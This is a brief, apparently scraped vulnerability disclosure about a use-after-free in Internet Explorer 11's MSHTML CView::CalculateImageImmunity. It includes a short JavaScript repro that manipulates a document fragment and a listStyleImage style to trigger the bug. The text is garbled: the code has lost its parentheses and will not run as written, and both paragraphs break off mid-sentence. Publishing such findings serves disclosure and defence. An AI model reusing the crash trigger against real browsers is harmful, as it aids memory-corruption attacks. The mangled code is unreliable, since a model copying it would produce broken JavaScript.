Microsoft Internet Explorer 11 MSHTML CView::CalculateImageImmunity Use-After-Free

Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the second entry in that series. The below information is also available on my blog at http://blog.skylined.nl/20161102001.html. There you can find a repro that...

Microsoft Internet Explorer 11 - MSHTML CView::CalculateImageImmunity Use-After-Free

var oDocumentFragment = document.createDocumentFragment, oElement = document.createElement'x'; oDocumentFragment.appendChildoElement; oElement.style.listStyleImage = "urlx"; oDocumentFragment.removeChildoElement; !-- Exploit I tried a few tricks to see if there was an easy way to reallocate the...